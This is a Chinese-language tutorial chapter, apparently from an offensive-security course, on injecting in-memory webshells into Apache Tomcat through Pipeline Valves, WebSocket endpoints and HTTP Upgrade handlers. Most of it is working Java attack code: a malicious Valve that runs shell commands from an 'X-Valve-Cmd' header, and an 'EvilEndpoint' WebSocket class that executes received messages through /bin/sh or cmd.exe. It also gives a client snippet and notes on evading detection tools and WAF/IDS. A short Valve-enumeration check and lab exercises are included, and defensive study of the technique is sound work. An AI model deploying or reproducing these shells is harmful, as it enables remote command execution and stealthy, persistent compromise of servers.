第2章只覆盖了 Servlet 规范层面,Tomcat 自身还有两个重要的注入点
Tomcat Pipeline-Valve 机制
什么是 Valve
Valve 是 Tomcat 私有的请求处理机制,不属于 Servlet 规范。每个容器(Engine/Host/Context)都有一个 Pipeline,Pipeline 由多个 Valve 串联组成
1 2 3 4 5 6 7 8 9 10 11 12 13
| 请求到达 ↓ Engine Pipeline └── EngineValve1 → EngineValve2 → StandardEngineValve ↓ Host Pipeline └── HostValve1 → HostValve2 → StandardHostValve ↓ Context Pipeline └── ContextValve1 → StandardContextValve ← Valve 型内存马注入点 ↓ Wrapper Pipeline └── StandardWrapperValve → Filter Chain → Servlet
|
关键认知: Valve 在 Filter 之前执行,比 Filter 型内存马更早触发
Valve vs Filter
| 维度 |
Valve |
Filter |
| 规范 |
Tomcat 私有 |
Servlet 标准 |
| 执行时机 |
Filter 之前 |
Servlet 之前 |
| 可移植性 |
仅 Tomcat |
所有 Servlet 容器 |
| 接口参数 |
Request, Response (Tomcat 内部类) |
ServletRequest, ServletResponse |
| 检测难度 |
较少被检测 |
常见检测目标 |
注入代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| StandardContext standardContext = getStandardContext(request);
Pipeline pipeline = standardContext.getPipeline();
ValveBase evilValve = new ValveBase() { @Override public void invoke(Request request, Response response) throws IOException, ServletException { String cmd = request.getHeader("X-Valve-Cmd"); if (cmd != null) { String os = System.getProperty("os.name").toLowerCase(); String[] cmds = os.contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; Process p = new ProcessBuilder(cmds).start(); InputStream in = p.getInputStream(); byte[] buf = new byte[4096]; int len; while ((len = in.read(buf)) != -1) { response.getOutputStream().write(buf, 0, len); } response.getOutputStream().flush(); return; } getNext().invoke(request, response); } };
pipeline.addValve(evilValve);
|
Valve 型的优势
- 执行时机更早:在所有 Filter 和 Servlet 之前
- 检测盲区:大部分内存马检测工具只扫描 Filter/Servlet/Listener
- 接口更底层:直接操作 Tomcat 内部 Request/Response,能力更强
检测 Valve
1 2 3 4 5 6 7 8 9 10 11
| Pipeline pipeline = standardContext.getPipeline(); Valve[] valves = pipeline.getValves(); for (Valve valve : valves) { System.out.println("Valve: " + valve.getClass().getName());
}
|
WebSocket 型内存马
为什么用 WebSocket
- 长连接:不需要反复发 HTTP 请求,一次握手持续通信
- 双向通信:服务端可以主动推送
- 绕过检测:很多 WAF/IDS 不检查 WebSocket 流量
- 类似交互式 Shell:接近终端的体验
Tomcat WebSocket 架构
1 2 3 4 5 6 7 8 9
| HTTP Upgrade 请求 (Sec-WebSocket-Key) ↓ WsFilter (Tomcat 内置) ↓ ServerEndpointConfig → Endpoint 实例 ↓ WebSocket 连接建立 ↓ onOpen / onMessage / onClose / onError
|
注入方式:通过 ServerContainer 注册 Endpoint
1 2 3 4 5 6 7 8 9 10 11 12
| ServerContainer serverContainer = (ServerContainer) request .getServletContext() .getAttribute("javax.websocket.server.ServerContainer");
ServerEndpointConfig config = ServerEndpointConfig.Builder .create(EvilEndpoint.class, "/ws-shell") .build();
serverContainer.addEndpoint(config);
|
恶意 Endpoint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| @ServerEndpoint("/ws-shell") public class EvilEndpoint { @OnOpen public void onOpen(Session session) { session.getAsyncRemote().sendText("connected"); }
@OnMessage public void onMessage(String message, Session session) { try { String os = System.getProperty("os.name").toLowerCase(); String[] cmds = os.contains("win") ? new String[]{"cmd.exe", "/c", message} : new String[]{"/bin/sh", "-c", message}; Process p = new ProcessBuilder(cmds).start(); InputStream in = p.getInputStream(); byte[] buf = new byte[4096]; int len; StringBuilder sb = new StringBuilder(); while ((len = in.read(buf)) != -1) { sb.append(new String(buf, 0, len)); } session.getAsyncRemote().sendText(sb.toString()); } catch (Exception e) { session.getAsyncRemote().sendText("Error: " + e.getMessage()); } }
@OnClose public void onClose(Session session) {} }
|
客户端连接
1 2 3 4 5 6 7
| let ws = new WebSocket("ws://target:8080/ws-shell"); ws.onmessage = (e) => console.log(e.data); ws.send("whoami");
|
Upgrade 型内存马(了解)
Tomcat 支持 HTTP Upgrade 机制(HTTP/1.1 → WebSocket、HTTP/2 等),可以注册自定义的 HttpUpgradeHandler 来接管连接
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class EvilUpgradeHandler implements HttpUpgradeHandler { @Override public void init(WebConnection wc) { ServletInputStream in = wc.getInputStream(); ServletOutputStream out = wc.getOutputStream(); }
@Override public void destroy() {} }
|
这种方式可以完全脱离 HTTP 协议,使用自定义二进制协议通信
各注入点执行顺序总结
1 2 3 4 5 6 7 8 9 10 11 12 13
| 请求到达 Tomcat ↓ ① Valve (Pipeline) ← 最早 ↓ ② Listener (requestInitialized) ↓ ③ Filter (doFilter) ← 最常用 ↓ ④ Interceptor (preHandle) ← Spring 才有 ↓ ⑤ Servlet / Controller ← 最晚 ↓ WebSocket (如果是 WS 请求则走另一条路)
|
练习
- 在靶场中注入 Valve 型内存马,对比与 Filter 型的执行顺序
- 实现 WebSocket 型内存马,用 wscat 连接测试
- 用 Pipeline.getValves() 枚举所有 Valve,识别异常 Valve
- 思考:WebSocket 内存马对 WAF/IDS 有什么特殊的绕过效果?